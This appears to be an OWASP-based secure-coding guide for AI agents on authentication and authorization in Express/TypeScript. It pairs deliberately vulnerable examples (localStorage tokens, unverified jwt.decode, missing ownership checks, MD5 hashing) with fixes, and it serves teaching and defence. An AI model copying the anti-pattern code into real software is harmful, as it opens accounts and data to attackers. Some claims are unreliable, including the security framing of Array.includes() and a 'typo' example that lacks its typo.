Quick Start
1. Discover vulnerabilities - Systematically analyze code for security anti-patterns across all OWASP categories 2. Categorize by severity - Map vulnerabilities to OWASP categories with Critical/High/Medium/Low severity 3. Load relevant pattern - Open corresponding reference file for ❌/✅ examples and remediation guidance 4. Apply and verify - Implement security fix, validate closure, confirm no new vulnerabilities introduced
Critical Security Anti-Patterns
NEVER do these:
- ❌ Hardcode secrets (API keys, passwords, tokens) - use environment variables exclusively
- ❌ Concatenate user input into queries - use parameterized queries/ORMs
- ❌ Store tokens in localStorage - use httpOnly cookies
- ❌ Skip authorization checks - verify ownership/permissions before resource access
- ❌ Trust user input - validate type, format, size with schemas (Zod, Joi)
- ❌ Expose detailed errors to users - log server-side, return generic messages
- ❌ Skip rate limiting on APIs - apply limits to all endpoints, stricter on auth
- ❌ Log sensitive data - redact passwords, tokens, PII before logging
- ❌ Use default configurations in production - harden all settings
- ❌ Use Array.includes() for permission checks - use Set.has() or RBAC
See reference files for ✅ correct patterns.
Severity Levels
- Critical: Direct path to data breach, RCE, or complete system compromise (SQL injection, hardcoded production secrets, no auth on admin endpoints)
- High: Likely unauthorized access, data theft, or service disruption (missing authorization, XSS, insecure session management)
- Medium: Exploitable with specific conditions or when chained (missing rate limiting, weak CORS, insufficient logging)
- Low: Defense-in-depth improvements, best practices (missing security headers, detailed error messages)
Defense in Depth
Layer security controls so single vulnerability doesn't compromise entire system:
- Authentication (verify identity) + Authorization (verify permission)
- Input validation (type/format) + Injection prevention (parameterized queries)
- Rate limiting (prevent brute force) + Logging (detect attacks)
- Security headers (browser protection) + CSRF tokens (request validation)
---
References
- https://github.com/hoodini/ai-agents-skills/blob/master/skills/owasp-security/SKILL.md
- https://github.com/sickn33/antigravity-awesome-skills/blob/main/skills/cc-skill-security-review/SKILL.md
License
Apache-2.0
Authentication
Never store JWT tokens in localStorage or use weak session management. Authentication must use secure token storage, strong password hashing, and proper session lifecycle management.
Framework Examples: This document uses common patterns with JWT and bcrypt for illustration. Apply these principles to your authentication strategy: session-based (Passport.js, NextAuth.js), token-based (JWT, OAuth), or framework-specific solutions. Password hashing libraries include bcrypt, argon2, or scrypt.
Why This Matters
Weak authentication enables attackers to:
- Steal User Accounts: XSS attacks extract tokens from localStorage, granting full account access
- Brute Force Passwords: Weak hashing (MD5, SHA1) or no rate limiting allows password cracking
- Session Hijacking: Tokens without expiration or refresh mechanism remain valid indefinitely
- Credential Stuffing: Reused passwords from data breaches tested against your application
- Token Theft: Tokens in URLs, logs, or browser history persist and are accessible to attackers
For an application with 100,000 users, a single XSS vulnerability extracting localStorage tokens compromises all active sessions. Weak bcrypt rounds (< 10) allow attackers to crack passwords at 1000+ hashes/second.
Anti-Patterns to Avoid
❌ NEVER: Store Tokens in localStorage
// ❌ NEVER: JWT in localStorage
function login(email: string, password: string) {
const response = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({ email, password }),
});
const { token } = await response.json();
// CRITICAL VULNERABILITY: XSS can steal this
localStorage.setItem('token', token);
// Any JavaScript code (including malicious scripts) can access:
const stolen = localStorage.getItem('token');
}
// ❌ NEVER: sessionStorage (same vulnerability)
sessionStorage.setItem('token', token);
// ❌ NEVER: Tokens in regular cookies without httpOnly
document.cookie = `token=${token}; path=/`;Risk: Critical - XSS attacks steal tokens, complete account takeover
---
❌ NEVER: Use Weak Password Hashing
import crypto from 'crypto';
// ❌ NEVER: Plain text passwords
await database.createUser({
email,
password: password, // Stored in plain text!
});
// ❌ NEVER: MD5 or SHA hashing (too fast)
const hash = crypto.createHash('md5').update(password).digest('hex');
await database.createUser({ email, password: hash });
// Attackers crack MD5 at 1+ billion hashes/second
// ❌ NEVER: SHA-256 without salt
const hash = crypto.createHash('sha256').update(password).digest('hex');
// Rainbow tables crack common passwords instantly
// ❌ NEVER: Weak work factors with password hashing libraries
import bcrypt from 'bcrypt'; // Example library
const hash = await bcrypt.hash(password, 4); // 4 rounds = too fast!
// Attacker can test thousands of passwords per secondRisk: Critical - Password database leak leads to mass account compromise
---
❌ NEVER: Create Tokens Without Expiration
import jwt from 'jsonwebtoken';
// ❌ NEVER: No expiration time
const token = jwt.sign(
{ userId: user.id, email: user.email },
process.env.JWT_SECRET!
// Missing expiresIn - token valid forever!
);
// ❌ NEVER: Very long expiration
const token = jwt.sign(
{ userId: user.id },
process.env.JWT_SECRET!,
{ expiresIn: '365d' } // Valid for 1 year!
);
// ❌ NEVER: No refresh token mechanism
// User stays logged in forever with single tokenRisk: High - Stolen tokens remain valid indefinitely, no way to revoke access
---
❌ NEVER: Skip Token Validation
// ❌ NEVER: No authentication middleware
app.get('/api/profile', async (req, res) => {
// No authentication check!
const userId = req.query.userId; // Attacker can specify any userId
const user = await db.users.findUnique({ where: { id: userId } });
res.json(user);
});
// ❌ NEVER: Incomplete token validation
app.get('/api/data', async (req, res) => {
const token = req.headers.authorization;
if (token) {
// Just checks token exists, doesn't verify signature!
const decoded = jwt.decode(token); // Unsafe: no verification
const userId = decoded.userId;
// Attacker can forge tokens
}
});
// ❌ NEVER: No token expiration check
const decoded = jwt.verify(token, secret, {
ignoreExpiration: true, // Accepts expired tokens!
});Risk: Critical - Anyone can access protected resources, forge authentication
---
❌ NEVER: Expose Sensitive User Info in Tokens
// ❌ NEVER: Include sensitive data in JWT payload
const token = jwt.sign(
{
userId: user.id,
email: user.email,
password: user.password, // Never include passwords!
ssn: user.ssn, // Never include PII!
creditCard: user.creditCard, // Never include financial data!
},
process.env.JWT_SECRET!,
{ expiresIn: '15m' }
);
// JWT payloads are BASE64 encoded, NOT encrypted
// Anyone can decode and read the payload:
const payload = JSON.parse(atob(token.split('.')[1]));
console.log(payload.password); // Exposed!Risk: High - Sensitive data exposed to anyone who intercepts token
---
Correct Patterns
✅ ALWAYS: Use httpOnly Cookies for Tokens
import jwt from 'jsonwebtoken';
import { Response } from 'express';
// ✅ Store tokens in httpOnly cookies
function setAuthCookie(res: Response, token: string) {
res.cookie('auth_token', token, {
httpOnly: true, // JavaScript cannot access
secure: process.env.NODE_ENV === 'production', // HTTPS only in production
sameSite: 'strict', // CSRF protection
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
}
app.post('/api/login', async (req, res) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// ✅ Create access token (short-lived)
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET!,
{ expiresIn: '15m' }
);
// ✅ Set httpOnly cookie
setAuthCookie(res, accessToken);
res.json({
message: 'Login successful',
user: {
id: user.id,
email: user.email,
role: user.role,
},
});
});
// ✅ Logout clears cookie
app.post('/api/logout', (req, res) => {
res.clearCookie('auth_token', {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/',
});
res.json({ message: 'Logged out successfully' });
});Benefit: XSS attacks cannot access httpOnly cookies, significantly reduces token theft risk
---
✅ ALWAYS: Use Strong Password Hashing
// ✅ Use bcrypt, argon2, or scrypt with strong work factor
import bcrypt from 'bcrypt'; // Or: import argon2 from 'argon2'; import { scrypt } from 'crypto';
// ✅ Strong work factor configuration
const WORK_FACTOR = 12; // bcrypt rounds, adjust based on library (argon2 uses memory/iterations)
// ✅ Hash password during registration
async function registerUser(email: string, password: string) {
// Validate password strength first (use your validation library: zod, joi, etc.)
if (!isPasswordStrong(password)) {
throw new Error('Password too weak');
}
// ✅ Hash with strong work factor
const hashedPassword = await bcrypt.hash(password, WORK_FACTOR);
// With argon2: await argon2.hash(password)
// With scrypt: use crypto.scrypt with appropriate parameters
const user = await database.createUser({
email,
password: hashedPassword, // Stored securely
});
return user;
}
// ✅ Compare password during login
async function loginUser(email: string, password: string) {
const user = await database.findUserByEmail(email);
if (!user) {
// ✅ Generic error message (don't reveal if email exists)
throw new Error('Invalid credentials');
}
// ✅ Use timing-safe comparison function from your hashing library
const isValidPassword = await bcrypt.compare(password, user.password);
// With argon2: await argon2.verify(user.password, password)
// With scrypt: use crypto.timingSafeEqual for comparison
if (!isValidPassword) {
throw new Error('Invalid credentials');
}
// Generate and send token...
}Benefit: Strong hashing algorithms are intentionally slow (prevents brute force), include automatic salting
Library Options:
- bcrypt: Industry standard, well-tested (12+ rounds recommended)
- argon2: Modern, memory-hard (winner of Password Hashing Competition)
- scrypt: Memory-hard, good alternative to bcrypt
- Avoid: pbkdf2 (less secure), plain SHA/MD5 (completely insecure)
---
✅ ALWAYS: Implement Refresh Token Pattern
import jwt from 'jsonwebtoken';
import crypto from 'crypto';
// ✅ Generate token pair
async function generateTokenPair(userId: string) {
// ✅ Short-lived access token
const accessToken = jwt.sign(
{ userId, type: 'access' },
process.env.JWT_SECRET!,
{ expiresIn: '15m' }
);
// ✅ Long-lived refresh token
const refreshToken = jwt.sign(
{ userId, type: 'refresh' },
process.env.JWT_REFRESH_SECRET!,
{ expiresIn: '7d' }
);
// ✅ Store refresh token hash in database (for revocation)
const refreshTokenHash = crypto
.createHash('sha256')
.update(refreshToken)
.digest('hex');
await db.refreshTokens.create({
data: {
userId,
tokenHash: refreshTokenHash,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
},
});
return { accessToken, refreshToken };
}
// ✅ Login with refresh token
app.post('/api/login', async (req, res) => {
const { email, password } = req.body;
const user = await validateUser(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const { accessToken, refreshToken } = await generateTokenPair(user.id);
// ✅ Set both tokens as httpOnly cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/api/refresh', // Only sent to refresh endpoint
});
res.json({ message: 'Login successful' });
});
// ✅ Refresh access token
app.post('/api/refresh', async (req, res) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
// ✅ Verify refresh token
const decoded = jwt.verify(
refreshToken,
process.env.JWT_REFRESH_SECRET!
) as { userId: string; type: string };
if (decoded.type !== 'refresh') {
return res.status(401).json({ error: 'Invalid token type' });
}
// ✅ Check if refresh token is still valid in database
const refreshTokenHash = crypto
.createHash('sha256')
.update(refreshToken)
.digest('hex');
const storedToken = await db.refreshTokens.findFirst({
where: {
userId: decoded.userId,
tokenHash: refreshTokenHash,
expiresAt: { gt: new Date() },
},
});
if (!storedToken) {
return res.status(401).json({ error: 'Refresh token revoked or expired' });
}
// ✅ Generate new access token
const accessToken = jwt.sign(
{ userId: decoded.userId, type: 'access' },
process.env.JWT_SECRET!,
{ expiresIn: '15m' }
);
// ✅ Set new access token
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.json({ message: 'Token refreshed' });
} catch (error) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
});
// ✅ Revoke refresh tokens on logout
app.post('/api/logout', async (req, res) => {
const refreshToken = req.cookies.refresh_token;
if (refreshToken) {
const refreshTokenHash = crypto
.createHash('sha256')
.update(refreshToken)
.digest('hex');
// ✅ Delete refresh token from database
await db.refreshTokens.deleteMany({
where: { tokenHash: refreshTokenHash },
});
}
// ✅ Clear cookies
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.json({ message: 'Logged out' });
});Benefit: Short-lived access tokens limit damage from theft, refresh tokens can be revoked
---
✅ ALWAYS: Implement Secure Authentication Middleware
import { Request, Response, NextFunction } from 'express';
import jwt from 'jsonwebtoken';
// ✅ Type-safe user payload
interface TokenPayload {
userId: string;
role: string;
type: 'access' | 'refresh';
}
// ✅ Extend Express Request type
declare global {
namespace Express {
interface Request {
user?: TokenPayload;
}
}
}
// ✅ Authentication middleware
export function authenticate(req: Request, res: Response, next: NextFunction) {
const token = req.cookies.access_token;
if (!token) {
return res.status(401).json({ error: 'Authentication required' });
}
try {
// ✅ Verify token signature and expiration
const decoded = jwt.verify(
token,
process.env.JWT_SECRET!
) as TokenPayload;
// ✅ Validate token type
if (decoded.type !== 'access') {
return res.status(401).json({ error: 'Invalid token type' });
}
// ✅ Attach user to request
req.user = decoded;
next();
} catch (error) {
if (error instanceof jwt.TokenExpiredError) {
return res.status(401).json({
error: 'Token expired',
code: 'TOKEN_EXPIRED',
});
}
if (error instanceof jwt.JsonWebTokenError) {
return res.status(401).json({ error: 'Invalid token' });
}
return res.status(500).json({ error: 'Authentication failed' });
}
}
// ✅ Optional authentication (for public endpoints with optional auth)
export function optionalAuthenticate(req: Request, res: Response, next: NextFunction) {
const token = req.cookies.access_token;
if (!token) {
// No token, continue without user
return next();
}
try {
const decoded = jwt.verify(
token,
process.env.JWT_SECRET!
) as TokenPayload;
if (decoded.type === 'access') {
req.user = decoded;
}
} catch (error) {
// Invalid token, continue without user (don't reject request)
}
next();
}
// ✅ Usage
app.get('/api/profile', authenticate, async (req, res) => {
// req.user guaranteed to exist (set by middleware)
const userId = req.user!.userId;
const user = await db.users.findUnique({
where: { id: userId },
});
res.json(user);
});
app.get('/api/posts', optionalAuthenticate, async (req, res) => {
// req.user may or may not exist
const userId = req.user?.userId;
const posts = await db.posts.findMany({
where: userId ? { authorId: userId } : { published: true },
});
res.json(posts);
});Benefit: Centralized authentication logic, type-safe user context, consistent error handling
---
✅ ALWAYS: Implement Password Reset Securely
import crypto from 'crypto';
import { sendEmail } from './email';
// ✅ Request password reset
app.post('/api/request-password-reset', async (req, res) => {
const { email } = req.body;
const user = await db.users.findUnique({ where: { email } });
// ✅ Always return success (don't reveal if email exists)
if (!user) {
return res.json({
message: 'If email exists, reset link sent',
});
}
// ✅ Generate cryptographically secure token
const resetToken = crypto.randomBytes(32).toString('hex');
const resetTokenHash = crypto
.createHash('sha256')
.update(resetToken)
.digest('hex');
// ✅ Store hashed token with expiration
await db.users.update({
where: { id: user.id },
data: {
resetTokenHash,
resetTokenExpiry: new Date(Date.now() + 60 * 60 * 1000), // 1 hour
},
});
// ✅ Send reset link (token not hashed in URL)
const resetUrl = `https://yourdomain.com/reset-password?token=${resetToken}`;
await sendEmail({
to: user.email,
subject: 'Password Reset',
body: `Reset your password: ${resetUrl}`,
});
res.json({ message: 'If email exists, reset link sent' });
});
// ✅ Reset password with token
app.post('/api/reset-password', async (req, res) => {
const { token, newPassword } = req.body;
// ✅ Validate new password
const PasswordSchema = z.string().min(8).regex(/[A-Z]/).regex(/[0-9]/);
try {
PasswordSchema.parse(newPassword);
} catch (error) {
return res.status(400).json({ error: 'Password too weak' });
}
// ✅ Hash token to find in database
const resetTokenHash = crypto
.createHash('sha256')
.update(token)
.digest('hex');
const user = await db.users.findFirst({
where: {
resetTokenHash,
resetTokenExpiry: { gt: new Date() },
},
});
if (!user) {
return res.status(400).json({ error: 'Invalid or expired token' });
}
// ✅ Hash new password
const hashedPassword = await bcrypt.hash(newPassword, 12);
// ✅ Update password and clear reset token
await db.users.update({
where: { id: user.id },
data: {
password: hashedPassword,
resetTokenHash: null,
resetTokenExpiry: null,
},
});
// ✅ Revoke all refresh tokens (force re-login)
await db.refreshTokens.deleteMany({
where: { userId: user.id },
});
res.json({ message: 'Password reset successful' });
});Benefit: Secure token generation, limited time window, single-use tokens
---
Pre-Deployment Checklist
Before deploying to production:
- [ ] Tokens stored in httpOnly cookies (never localStorage/sessionStorage)
- [ ] Cookies configured with secure, sameSite, and httpOnly flags
- [ ] Passwords hashed with bcrypt using 12+ rounds
- [ ] Access tokens short-lived (15 minutes or less)
- [ ] Refresh token pattern implemented for session management
- [ ] Refresh tokens stored in database for revocation capability
- [ ] Authentication middleware applied to all protected routes
- [ ] Token expiration enforced (no ignoreExpiration flag)
- [ ] Sensitive data excluded from JWT payload
- [ ] Password reset uses cryptographically secure tokens
- [ ] Password reset tokens expire within 1 hour
- [ ] Generic error messages (don't reveal if email/username exists)
- [ ] Logout clears all tokens and revokes refresh tokens
- [ ] HTTPS enforced in production (secure cookies only work over HTTPS)
Authorization
Never skip authorization checks. Authentication verifies identity; authorization verifies permission. Attackers will manipulate IDs, skip authentication, or guess URLs to access unauthorized resources.
Framework Examples: This document uses generic middleware patterns. Apply to your framework's authorization system: middleware (Express, Fastify), guards (Nest.js), server actions (Next.js), or custom authorization hooks. Principles apply universally.
Why This Matters
Broken access control is the #1 OWASP vulnerability because:
- IDOR (Insecure Direct Object Reference): Users access others' resources by changing IDs in URLs
- Vertical Privilege Escalation: Regular users perform admin-only actions
- Horizontal Privilege Escalation: Users access other users' data at the same privilege level
- Missing Function Level Access Control: Protected UI but unprotected API endpoints
For an application with 50,000 users, missing authorization on /api/users/:id means any authenticated user can view all 50,000 user profiles. A single missing ownership check exposes all user data.
Anti-Patterns to Avoid
❌ NEVER: Skip Ownership Checks
// ❌ NEVER: No ownership validation
app.get('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
// CRITICAL: No check if req.user owns this post!
const post = await db.posts.findUnique({
where: { id },
});
res.json(post); // Exposes ANY post to ANY authenticated user
});
// ❌ NEVER: Trust client-provided ownership claims
app.put('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const { isOwner } = req.body; // Attacker sets this to true!
if (isOwner) {
await db.posts.update({
where: { id },
data: req.body,
});
}
});
// ❌ NEVER: Check ownership after fetching
app.delete('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const post = await db.posts.findUnique({ where: { id } });
// TIMING ATTACK: Post data already loaded and may leak in error messages
if (post.authorId !== req.user!.userId) {
return res.status(403).json({ error: 'Not authorized' });
}
await db.posts.delete({ where: { id } });
});Risk: Critical - Any authenticated user can access/modify any resource
---
❌ NEVER: Use Frontend-Only Authorization
// ❌ NEVER: Authorization logic only in frontend
// Frontend code (React/Vue/etc.)
function Dashboard() {
const { user } = useAuth();
if (user.role !== 'ADMIN') {
return <div>Access Denied</div>; // Only UI protection!
}
// Fetch admin data
const { data } = useFetch('/api/admin/stats'); // API has no auth check!
return <AdminDashboard data={data} />;
}
// Backend (vulnerable)
app.get('/api/admin/stats', async (req, res) => {
// No role check! Relies on frontend to enforce
const stats = await db.stats.findAll();
res.json(stats);
// Attacker bypasses frontend and calls API directly
});Risk: Critical - Anyone can bypass frontend and access protected APIs
---
❌ NEVER: Use Array.includes() for Permission Checks
// ❌ NEVER: Array.includes() for permissions (slow and type-unsafe)
app.delete('/api/users/:id', authenticate, async (req, res) => {
const allowedRoles = ['ADMIN', 'SUPER_ADMIN', 'MODERATOR'];
// O(n) lookup, no TypeScript type safety
if (!allowedRoles.includes(req.user!.role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
// Delete user...
});
// ❌ NEVER: Permission checks with typos
const allowedRoles = ['ADMIN', 'SUPER_ADMIN'];
if (allowedRoles.includes(req.user!.role)) {
// Typo: should be MODERATOR, not MODERAT0R
// Legitimate moderators denied access
}Risk: Medium - Performance issues with large permission sets, typo-prone
---
❌ NEVER: Rely on Sequential IDs
// ❌ NEVER: Sequential integer IDs without ownership check
app.get('/api/invoices/:id', authenticate, async (req, res) => {
const invoiceId = parseInt(req.params.id);
// No ownership check!
const invoice = await db.invoices.findUnique({
where: { id: invoiceId },
});
res.json(invoice);
// Attacker iterates: /api/invoices/1, /api/invoices/2, /api/invoices/3...
// Enumerates all invoices in database!
});Risk: High - Predictable IDs enable enumeration attacks
---
❌ NEVER: Check Permissions Inconsistently
// ❌ NEVER: Different authorization logic in different endpoints
app.get('/api/posts/:id', authenticate, async (req, res) => {
// Checks ownership
const post = await db.posts.findFirst({
where: { id: req.params.id, authorId: req.user!.userId },
});
res.json(post);
});
app.put('/api/posts/:id', authenticate, async (req, res) => {
// No ownership check - inconsistent!
await db.posts.update({
where: { id: req.params.id },
data: req.body,
});
res.json({ success: true });
});Risk: High - Inconsistent enforcement creates exploitable gaps
---
Correct Patterns
✅ ALWAYS: Check Ownership Before Operations
// ✅ Ownership check in WHERE clause (prevents data leaks)
app.get('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
// ✅ Ownership check in query
const post = await db.posts.findFirst({
where: {
id,
authorId: userId, // Must be owned by requesting user
},
});
if (!post) {
// ✅ Generic 404 (don't reveal if post exists but isn't owned)
return res.status(404).json({ error: 'Post not found' });
}
res.json(post);
});
// ✅ Ownership check for updates
app.put('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
const { title, content } = req.body;
// ✅ Update only if owned by user
const post = await db.posts.updateMany({
where: {
id,
authorId: userId, // Ownership check
},
data: { title, content },
});
// updateMany returns count
if (post.count === 0) {
return res.status(404).json({ error: 'Post not found' });
}
res.json({ success: true });
});
// ✅ Ownership check for deletion
app.delete('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
// ✅ Delete only if owned
const result = await db.posts.deleteMany({
where: {
id,
authorId: userId,
},
});
if (result.count === 0) {
return res.status(404).json({ error: 'Post not found' });
}
res.json({ success: true });
});Benefit: Ownership checked at database level, prevents information leakage
---
✅ ALWAYS: Implement Role-Based Access Control (RBAC)
// ✅ Define roles with Set for O(1) lookup
enum Role {
USER = 'USER',
MODERATOR = 'MODERATOR',
ADMIN = 'ADMIN',
SUPER_ADMIN = 'SUPER_ADMIN',
}
// ✅ Type-safe permission sets
const Permissions = {
DELETE_ANY_POST: new Set([Role.MODERATOR, Role.ADMIN, Role.SUPER_ADMIN]),
DELETE_USER: new Set([Role.ADMIN, Role.SUPER_ADMIN]),
MANAGE_ROLES: new Set([Role.SUPER_ADMIN]),
VIEW_ANALYTICS: new Set([Role.ADMIN, Role.SUPER_ADMIN]),
} as const;
// ✅ Reusable authorization middleware
function requireRole(...allowedRoles: Role[]) {
const allowedSet = new Set(allowedRoles);
return (req: Request, res: Response, next: NextFunction) => {
if (!req.user) {
return res.status(401).json({ error: 'Authentication required' });
}
// ✅ O(1) lookup with Set
if (!allowedSet.has(req.user.role as Role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
}
// ✅ Permission-based middleware
function requirePermission(permission: Set<Role>) {
return (req: Request, res: Response, next: NextFunction) => {
if (!req.user) {
return res.status(401).json({ error: 'Authentication required' });
}
if (!permission.has(req.user.role as Role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
}
// ✅ Usage: Role-based authorization
app.delete('/api/posts/:id',
authenticate,
requireRole(Role.MODERATOR, Role.ADMIN, Role.SUPER_ADMIN),
async (req, res) => {
const { id } = req.params;
// Moderator+ can delete any post
await db.posts.delete({ where: { id } });
res.json({ success: true });
}
);
// ✅ Usage: Permission-based authorization
app.get('/api/admin/analytics',
authenticate,
requirePermission(Permissions.VIEW_ANALYTICS),
async (req, res) => {
const analytics = await getAnalytics();
res.json(analytics);
}
);
// ✅ Usage: Super admin only
app.put('/api/users/:id/role',
authenticate,
requireRole(Role.SUPER_ADMIN),
async (req, res) => {
const { id } = req.params;
const { role } = req.body;
await db.users.update({
where: { id },
data: { role },
});
res.json({ success: true });
}
);Benefit: Type-safe roles, O(1) permission checks, centralized authorization logic
---
✅ ALWAYS: Combine Ownership and Role Checks
// ✅ Users can edit own posts, moderators can edit any post
app.put('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
const userRole = req.user!.role as Role;
const { title, content } = req.body;
// ✅ Fetch post first
const post = await db.posts.findUnique({
where: { id },
});
if (!post) {
return res.status(404).json({ error: 'Post not found' });
}
// ✅ Authorization: Owner OR Moderator+
const canModify =
post.authorId === userId ||
Permissions.DELETE_ANY_POST.has(userRole);
if (!canModify) {
return res.status(403).json({ error: 'Not authorized' });
}
// Update post
await db.posts.update({
where: { id },
data: { title, content },
});
res.json({ success: true });
});
// ✅ Reusable authorization helper
async function canAccessResource(
resourceType: 'post' | 'comment' | 'profile',
resourceId: string,
userId: string,
userRole: Role
): Promise<boolean> {
switch (resourceType) {
case 'post': {
const post = await db.posts.findUnique({ where: { id: resourceId } });
return (
post?.authorId === userId ||
Permissions.DELETE_ANY_POST.has(userRole)
);
}
case 'comment': {
const comment = await db.comments.findUnique({ where: { id: resourceId } });
return (
comment?.authorId === userId ||
Permissions.DELETE_ANY_POST.has(userRole)
);
}
case 'profile': {
return resourceId === userId || userRole === Role.ADMIN;
}
default:
return false;
}
}
// ✅ Usage
app.delete('/api/posts/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
const userRole = req.user!.role as Role;
const authorized = await canAccessResource('post', id, userId, userRole);
if (!authorized) {
return res.status(403).json({ error: 'Not authorized' });
}
await db.posts.delete({ where: { id } });
res.json({ success: true });
});Benefit: Flexible authorization combining ownership and roles
---
✅ ALWAYS: Use UUIDs Instead of Sequential IDs
// ✅ Use UUID for resource IDs (prevents enumeration)
import { randomUUID } from 'crypto';
app.post('/api/orders', authenticate, async (req, res) => {
const userId = req.user!.userId;
const { items } = req.body;
// ✅ Generate UUID
const orderId = randomUUID();
const order = await db.orders.create({
data: {
id: orderId, // UUID instead of auto-increment
userId,
items,
},
});
res.json(order);
});
// ✅ Prisma schema with UUID
/*
model Order {
id String @id @default(uuid())
userId String
createdAt DateTime @default(now())
user User @relation(fields: [userId], references: [id])
}
*/
// ✅ Still require ownership check even with UUIDs
app.get('/api/orders/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
// ✅ Ownership check still required
const order = await db.orders.findFirst({
where: {
id, // UUID makes guessing harder
userId, // But ownership still enforced
},
});
if (!order) {
return res.status(404).json({ error: 'Order not found' });
}
res.json(order);
});Benefit: UUIDs prevent enumeration attacks, add defense in depth
---
✅ ALWAYS: Implement Resource-Level Permissions
// ✅ Granular permissions at resource level
interface ResourcePermissions {
ownerId: string;
sharedWith: Array<{
userId: string;
permission: 'READ' | 'WRITE' | 'ADMIN';
}>;
isPublic: boolean;
}
async function checkDocumentPermission(
documentId: string,
userId: string,
requiredPermission: 'READ' | 'WRITE' | 'ADMIN'
): Promise<boolean> {
const document = await db.documents.findUnique({
where: { id: documentId },
include: { sharedWith: true },
});
if (!document) {
return false;
}
// ✅ Owner has all permissions
if (document.ownerId === userId) {
return true;
}
// ✅ Check if public and only READ required
if (document.isPublic && requiredPermission === 'READ') {
return true;
}
// ✅ Check shared permissions
const sharedPermission = document.sharedWith.find(
(share) => share.userId === userId
);
if (!sharedPermission) {
return false;
}
// ✅ Permission hierarchy: ADMIN > WRITE > READ
const permissionLevel = {
READ: 1,
WRITE: 2,
ADMIN: 3,
};
return (
permissionLevel[sharedPermission.permission] >=
permissionLevel[requiredPermission]
);
}
// ✅ Usage
app.get('/api/documents/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
const hasPermission = await checkDocumentPermission(id, userId, 'READ');
if (!hasPermission) {
return res.status(403).json({ error: 'Access denied' });
}
const document = await db.documents.findUnique({ where: { id } });
res.json(document);
});
app.put('/api/documents/:id', authenticate, async (req, res) => {
const { id } = req.params;
const userId = req.user!.userId;
const hasPermission = await checkDocumentPermission(id, userId, 'WRITE');
if (!hasPermission) {
return res.status(403).json({ error: 'Access denied' });
}
await db.documents.update({
where: { id },
data: req.body,
});
res.json({ success: true });
});Benefit: Fine-grained permissions support complex sharing scenarios
---
✅ ALWAYS: Implement Middleware for Consistent Authorization
// ✅ Reusable resource authorization middleware
interface ResourceAuthOptions {
resourceType: 'post' | 'comment' | 'document';
idParam: string; // Name of URL parameter (e.g., 'id', 'postId')
requiredPermission?: 'READ' | 'WRITE' | 'DELETE';
allowedRoles?: Role[];
}
function authorizeResource(options: ResourceAuthOptions) {
return async (req: Request, res: Response, next: NextFunction) => {
if (!req.user) {
return res.status(401).json({ error: 'Authentication required' });
}
const resourceId = req.params[options.idParam];
const userId = req.user.userId;
const userRole = req.user.role as Role;
// ✅ Check role-based access first
if (options.allowedRoles) {
const allowedSet = new Set(options.allowedRoles);
if (allowedSet.has(userRole)) {
return next(); // Role grants access
}
}
// ✅ Check resource ownership
let isAuthorized = false;
switch (options.resourceType) {
case 'post': {
const post = await db.posts.findUnique({
where: { id: resourceId },
});
isAuthorized = post?.authorId === userId;
break;
}
case 'comment': {
const comment = await db.comments.findUnique({
where: { id: resourceId },
});
isAuthorized = comment?.authorId === userId;
break;
}
case 'document': {
isAuthorized = await checkDocumentPermission(
resourceId,
userId,
options.requiredPermission || 'READ'
);
break;
}
}
if (!isAuthorized) {
return res.status(403).json({ error: 'Not authorized' });
}
next();
};
}
// ✅ Usage
app.put('/api/posts/:id',
authenticate,
authorizeResource({
resourceType: 'post',
idParam: 'id',
requiredPermission: 'WRITE',
}),
async (req, res) => {
// Authorization already checked by middleware
const { id } = req.params;
await db.posts.update({
where: { id },
data: req.body,
});
res.json({ success: true });
}
);
app.delete('/api/comments/:commentId',
authenticate,
authorizeResource({
resourceType: 'comment',
idParam: 'commentId',
allowedRoles: [Role.MODERATOR, Role.ADMIN],
}),
async (req, res) => {
const { commentId } = req.params;
await db.comments.delete({ where: { id: commentId } });
res.json({ success: true });
}
);Benefit: DRY authorization logic, consistent enforcement, easy to audit
---
Pre-Deployment Checklist
Before deploying to production:
- [ ] Every protected endpoint has authentication middleware
- [ ] Ownership checks in WHERE clause for all user-scoped resources
- [ ] Role-based access control implemented with Set for O(1) lookup
- [ ] Authorization checked on backend (not just frontend)
- [ ] Sequential IDs replaced with UUIDs or ownership checks enforced
- [ ] Generic 404 errors (don't reveal if resource exists but isn't accessible)
- [ ] Authorization middleware applied consistently across all CRUD operations
- [ ] Resource-level permissions implemented for shared resources
